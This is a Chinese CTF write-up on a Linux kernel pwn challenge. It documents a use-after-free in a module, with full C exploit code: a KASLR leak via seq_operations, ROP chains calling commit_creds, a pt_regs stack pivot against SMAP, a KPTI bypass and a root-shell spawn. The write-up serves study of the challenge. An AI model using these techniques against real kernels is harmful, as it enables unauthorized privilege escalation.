peekgeek-mmsg

做题踩坑实录,赛后复现.

step1: init

拿到附件,查看启动脚本,smep, smap, kaslr,应该还有pti

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
qemu-system-x86_64 \
-m 256M \
-cpu host,+smep,+smap \
-smp cores=1 \
-kernel bzImage \
-hda rootfs.img \
-nographic \
-monitor none \
-snapshot \
-enable-kvm \
-append "console=ttyS0 root=/dev/sda rw kaslr rdinit=/sbin/init quiet oops=panic panic=1" \
-no-reboot

ext4 镜像挂载

1
2
3
mkdir rootfs

sudo mount rootfs.img ./rootfs

查看init, etc/init.d 下的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
chown root:root /root/flag
chmod 600 /root/flag

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

# echo 1 > /proc/sys/kernel/dmesg_restrict
# echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/mmsg.ko
chmod 666 /dev/mmsg

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
# setsid cttyhack su ctf -c /bin/sh
setsid cttyhack setuidgid 1000 /bin/sh
# setsid cttyhack setuidgid 0 /bin/sh


poweroff -d 0 -f

修改内容,将ko文件拷贝一份,etc/init.d/rcS内容修改一下,然后umount,启动。(修改效果生效必须要umount

1
sudo mount ./rootfs

内核版本 5.10.186

step2: ko

逆向分析ko文件(直接给出了c文件,也可以不看)。漏洞所在的地方,类似入门经典题目kernel UAF - CTF Wiki。但是结构体大小0x20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static struct mmsg_head *mmsg_head; 

...

static struct miscdevice mmsg_device;

...

static int module_close(struct inode *inode, struct file *file) {
    kfree(mmsg_head);
    return SUCCESS;
}

...

static int __init mmsg_module_init(void) {

mmsg_device.minor = MISC_DYNAMIC_MINOR;
mmsg_device.name = DEVICE_NAME;
mmsg_device.fops = &module_fops;
misc_register(&mmsg_device);
mmsg_head = kmalloc(sizeof(struct mmsg_head), GFP_KERNEL);
strncpy(mmsg_head->description, DEVICE_NAME "-mmsg_head", 15);
INIT_LIST_HEAD(&mmsg_head->list);
printk(KERN_INFO "Hello, World!\n");

return SUCCESS;
}

static void __exit mmsg_module_exit(void) {
misc_deregister(&mmsg_device);
printk(KERN_INFO "Goodbye, World!\n");
}

step3: exploit

尝试ROP,但是不太会🤡

1

原文内容: 「PWN」内核 PWN 题目的第一次尝试

  • 像,很像呀。看了一下,发现及其类似,于是尝试使用类似的exp进行做
  • 调试,找地址,先关闭kaslr,通过泄露获得offset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
/*
* gcc exp.c -static -o exp
*/
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <linux/fs.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

int fd1, fd2;
int seq_fd;
size_t buf[4];

char *dev_name = "/dev/mmsg";

// kernel base => cat /proc/kallsyms | grep startup_64
size_t kernel_base;
size_t kernel_offset;

// nokalr kernel base
size_t nokaslr = 0xffffffff81000000;

/*
* cat /sys/module/mmsg/sections/.text
* 0xffffffffc03f5000
*/

// close kaslr
// grep prepare_kernel_cred /proc/kallsyms
size_t prepare_kernel_cred = 0xffffffff9248d790;
// grep commit_creds /proc/kallsyms
size_t commit_creds = 0xffffffff9248d350;
// grep swapgs_restore_regs_and_return_to_usermode /proc/kallsyms
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff93000e30;
// grep native_write_cr4 /proc/kallsyms
size_t native_write_cr4 = 0xffffffffa8832250;



// ropper
// pop rdi; ret
size_t pop_rdi_ret = 0xffffffff812274dd;
// 0xffffffff82d63c0d: mov edi, eax; call rbx;
// 在 64 位环境下,目的寄存器若是 32 位,则会将高 32 位清零
size_t mov_edi_eax_call_rbx = 0xffffffff82d63c0d;
// 0xffffffff82e6f708: pop rbx; ret;
size_t pop_rbx_ret = 0xffffffff82e6f708;

struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};

void new() {}

void delete() {}

void recv_mmsg() {}

void copy_mmsg() {}

void put_mmsg(int fd, char *addr) {
struct mmsg_arg arg;
memset(&arg, 0, sizeof(struct mmsg_arg));
arg.data = addr;
ioctl(fd, 0x5555555, &arg);
}

void get_mmsg(int fd) {
struct mmsg_arg arg;
memset(&arg, 0, sizeof(struct mmsg_arg));
memset(buf, 0, sizeof(buf));
arg.data = (char *)buf;
ioctl(fd, 0x6666666, &arg);
}

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

uint64_t user_cs, user_ss, user_rflags, user_rsp;
void save_status()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_rflags),"=r"(user_rsp)
:
: "memory"
);
}

void get_shell(void)
{
if( getuid() ) {
err_exit("\033[31m\033[1m[x] Failed to get the root!\033[0m");
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
system("/bin/sh");
exit(0);
}

int seq_open()
{
int seq;
if ( (seq=open("/proc/self/stat", O_RDONLY)) == -1) {
err_exit("[x] seq open fail");
}
return seq;
}

void uaf() {
fd1 = open(dev_name, O_RDWR);
if (fd1 < 0) {
err_exit("[x] open device 1");
}

fd2 = open(dev_name, O_RDWR);
if (fd2 < 0) {
err_exit("[x] open device 2");
}
close(fd1);
}

void leak_base() {
// read 操作,经过函数调用链则会最终调用 seq_operations->start 指针对应的函数
seq_fd = seq_open();
get_mmsg(fd2);
for (int j = 0; j < 4; j++) {
printf("buf[%d] => 0x%llx\n", j, buf[j]);
}
kernel_base = buf[0] - 0x20fac0;
printf("kernel base => 0x%llx", kernel_base);

kernel_offset = kernel_base - nokaslr;
}

int main() {
save_status();
uaf();
leak_base();
}

rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 之前的都一样

#if 1
#define o(x) (x+kernel_offset)
#endif
// smep userspace地址被标记为non-executable
// bypass: stack prviot
size_t payload[0x40];
int idx=0;
size_t user_rip = (size_t)get_shell;

payload[idx++] = o(pop_rbx_ret);
payload[idx++] = o(commit_creds);
payload[idx++] = o(pop_rdi_ret); // return address
payload[idx++] = 0x0;
payload[idx++] = o(prepare_kernel_cred);
payload[idx++] = o(mov_edi_eax_call_rbx);
payload[idx++] = o(swapgs_restore_regs_and_return_to_usermode) + 22;
payload[idx++] = 0x0;
payload[idx++] = 0x0;
payload[idx++] = user_rip;
payload[idx++] = user_cs;
payload[idx++] = user_rflags;
payload[idx++] = user_rsp;
payload[idx++] = user_ss;

put_mmsg(fd2, (char *)&payload);

// trigger seq_file->start
read(seq_fd, NULL, 1);
}

使用xchg 进行类似栈迁移的操作,从而进行劫持函数执行流

在本地执行时,直接kernel panic。查看报错信息,发现是can't access memory in 0x????(是个用户地址)

2

后来看来一下这篇文章发现原因:Kernel Pwn Struct seq_operations and Struct pt_regs

  • 这一题开启了smap,而 pwnhub 的那一题中没有。而smap: kernel space 不能 access user space 的东西。
  • 这篇文章中说了一个 pt_regs 的结构体,在使用syscall 时,会将某些寄存器内容压入内核栈的栈底.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

在系统调用的过程中, 不是所有的寄存器都会被改变, 比如 r8 - r15, 他们会在压入 pt_regs 的时保持 syscall 之前的值. 这就为我们提供了布置数据的可能性. 如果在仅能劫持 rip 的情况下 (比如上面介绍的 seq_operations), 跳转到某个形如 add, rsp val; ret 的 gadget, 那么就有可能将 rsp 设置到内核栈的 pt_regs 上, 从而执行我们布置的 ROP 链.

也就是我们 rop 往 内核栈的 pt_regs 中跳转,就不会绕过了smap

如何将寄存器压入: 使用了巧妙地方法,syscall 调用 read,将寄存器压入,并且可以通过seq_operations->start执行rop

调用模板+解释的比较详细的文章:seq_operations+pt_regs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(  
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, 0x33333333;"
"mov r12, 0x22222222;"
"mov rbp, 0xbbbb1111;"
"mov rbx, 0xbbbb2222;"
"mov r11, 0x11111111;"
"mov r10, 0x11110000;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

gadget: 改变rsp, add rsp, xxx; ret,进行栈迁移

1
2
3
pwndbg> x/2wi 0xffffffff81909b8c
0xffffffff81909b8c: add rsp,0x168
0xffffffff81909b93: ret

但是我们需要事先知道执行start 时与pt_regs 距离多远。

直接使用没有布局的脚本,自然会kernel panic,可以看到rip的内容,然后与上述的payload进行对比,获得偏移

并且这并不是一个万能的方法

3

还是不对,因此再看参考文章,如下也存在uaf问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// module_ioctl
struct mmsg_head {
        char description[16];
        struct list_head list;
};
case MMSG_RECV:
if (arg.top) {
m = list_entry(&mmsg_head->list, struct mmsg, list); // head
} else {
m = find_mmsg(arg.token); // 遍历查询
}
if (m == NULL || arg.size > m->size || arg.size <= 0) {
ret = -EINVAL;
break;
}
printk(KERN_INFO "mmsg recv\n");
copy_to_user((void __user *)arg.data, m->data, arg.size);
list_del(&m->list); // 双向链表元素内核提供的删除函数
kfree(m->data); // head 没有,但是固定偏移为 0x10 的地方,相当于free掉list,不会报错
kfree(m);
break;

4

偏移确定

add rsp val,我们需要一个比较具体的值

大概是 0x100+ 的gadget吧,不太会,但是此结构体大小大于0x100,并且要开启syscall的栈帧

  • 应该可以在ioctl 下断点,但是我失败了😥

执行流程

  • 直接看报错: BUG: unable to handle page fault for address: 0000000044444444 ; RIP: 0010:0x44444444获得我们rip指针控制的寄存器 r14
  • syscall 不会改变 r8-r15内容。理想情况下r8-r15内容不变,但是可能会产生奇妙的变化。调试,si会走到start指针的操作,从而获得栈结构
  • 假设理想化从r14-r8没有发生改变
  • si 一路走,但是看不到对应内容?

KERNEL_PWN状态切换原理及KPTI绕过

swapgs; iretq 返回用户态; ret rip,在此处没有使用ret指令,直接iretq, 直接r9为user_rsp就行

1
2
3
4
5
6
7
swapgs            
iretq
rsp ---> rip
cs
rflags
rsp
ss

swapgs_restore_regs_and_return_to_usermode: 这个比上个复杂一点,需要在迁移一次

1
2
3
4
5
6
7
8
swapgs_restore_regs_and_return_to_usermode + 22  
0 // padding
0 // padding
get_shell
user_cs
user_rflags
user_sp
user_ss

errors

  1. qemu cpu为 host 也必须开启kvm, 同时就是这一点,导致我一直不成功,后来去除掉kvm将cpu改为kvm64成功。应该是本机的CPU的安全防护导致一直失败😥。

exploit

signal bypass kpti。执行用户态的任意代码都会报出信号SIGSEGV,那么在程序开始时将SIGSEGV与shell函数绑定在一起,那么访问用户态代码时就会报出信号SIGSEGV,就会执行信号函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define log_debug(fmt, ...) \
dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)

#define log_info(fmt, ...) \
dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
__LINE__, ##__VA_ARGS__)

#define log_warning(fmt, ...) \
dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
__LINE__, ##__VA_ARGS__)

#define log_error(fmt, ...) \
dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \
__LINE__, ##__VA_ARGS__)

#define die(fmt, ...) \
do { \
log_error(fmt, ##__VA_ARGS__); \
log_error("Exit at line %d", __LINE__); \
exit(1); \
} while (0)

void get_shell()
{
if( getuid() ) {
die("fail to get shell");
}
log_info("start to get root shell");
system("/bin/sh");
exit(0);
}

size_t user_cs, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_info("status saved");
}

int seq_open()
{
int seq;
if ( (seq=open("/proc/self/stat", O_RDONLY)) == -1) {
die("seq open fail");
}
return seq;
}

#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

struct mmsg_arg {
unsigned long token;
int top;
int size;
char *data;
};



size_t kernel_base = 0;
size_t kernel_offset = 0;
size_t nokaslr = 0xffffffff81000000;

size_t prepare_kernel_cred = 0xffffffff9248d790;
size_t commit_creds = 0xffffffff8108d350;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff93000e30;

size_t pop_rdi_ret = 0xffffffff811aa376;

size_t init_cred = 0xffffffff8264c9a0;
size_t swapgs_iretq = 0xffffffff81c00ec6;
size_t add_rsp_0x168_ret = 0xffffffff81909b8c;

int mmsg_fd;
int seq_fd;

void exploit() {

log_info("open device");
mmsg_fd = open("/dev/mmsg", O_RDWR);
if (mmsg_fd < 0) {
die("open device");
}
struct mmsg_arg arg;
arg.token = 1;
arg.top = 1;
arg.size = 16;
arg.data = malloc(16);
size_t *buf = (size_t *)arg.data;
buf[0] = 0x1145141145141145ull;
buf[1] = 0;
ioctl(mmsg_fd, MMSG_PUT_DESC, &arg); // bypass size check
ioctl(mmsg_fd, MMSG_RECV, &arg); // free head

seq_fd = seq_open();

ioctl(mmsg_fd, MMSG_GET_DESC, &arg);
log_warning("start leak info");
for(int i = 0; i < 2; i ++) {
log_debug("buf[%d] => 0x%lx\n", i, buf[i]);
}

kernel_base = buf[0] - 0x20fac0;
kernel_offset = kernel_base - nokaslr;
add_rsp_0x168_ret += kernel_offset;
pop_rdi_ret += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_iretq += kernel_offset;

log_info("kernel_offset => 0x%lx", kernel_offset);
log_info("kernel_base => 0x%lx", kernel_base);

buf[0] = add_rsp_0x168_ret;
log_info("pollute => 0x%lx, maybe we can debug here", buf[0]);
ioctl(mmsg_fd, MMSG_PUT_DESC, &arg);
getchar();

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;" // <- rip here
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_iretq;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, user_rsp;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);
}

int main() {
signal(SIGSEGV, get_shell);
save_status();
exploit();
}

bypass kpti,修改cr3,在高版本使用,在 +22 地址是我们利用的gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
swapgs_restore_regs_and_return_to_usermode

.text:FFFFFFFF81600A34 41 5F pop r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp <<<<<<<<<<<<<<<<<<
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3

.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN

_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3 retn


_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04 test byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02 jnz native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF iretq

看别人的做法,好像不需要关注rip后面的内容,但是本题我没有使用这种方式做出来 👀。

  • 最后需要我们调用getshell函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   __asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;" // <- rip here
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode + 22;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, user_rsp;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
);

get_shell();

tips

commit_creds(prepare_kernel_cred (0)) => 简化为 commit_creds(&init_cred) init_cred: init 进程的权限,为root,在 /proc/kallsyms

寻找 gadget 时可能寻找到的gadget不能使用,报错为 kernel tried to execute NX-protected page,说明其地址不可访问?那就只能换了

为什么找不对gadget?或者根本没有找到🤡。和参考的看看了一下,发现gadget地址根本就没找对。

  • ropper + ROPgadget + ropr 三个工具一起使用,获得三个gadget文件。
  • extract-vmlinux + vmlinux-to-elf 工具

如何下断点?

  • 在想暂停的的地方使用 getchar() 停止后一路si
  • 在固定的指令地址下断点,但是需要事先知道地址。但是rop时,地址一般都是知道的。

在固定的指令下断点,比如此题就可以在在 add rsp 那一条指令下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
   0xffffffff81909b8c    add    rsp, module_ioctl+56          <0x168>
0xffffffff81909b93 ret

pwndbg> tele 0xffffc900001c7df8+0x168
00:0000 0xffffc900001c7f60 0x44444444 /* 'DDDD' */
01:0008 0xffffc900001c7f68 0x33333333 /* '3333' */
02:0010 0xffffc900001c7f70 0x22222222 /* '""""' */
03:0018 0xffffc900001c7f78 0xbbbb1111
04:0020 0xffffc900001c7f80 0xbbbb2222
05:0028 0xffffc900001c7f88 0x246
06:0030 0xffffc900001c7f90 0x11110000
07:0038 0xffffc900001c7f98 0x99999999
08:0040 0xffffc900001c7fa0 0x88888888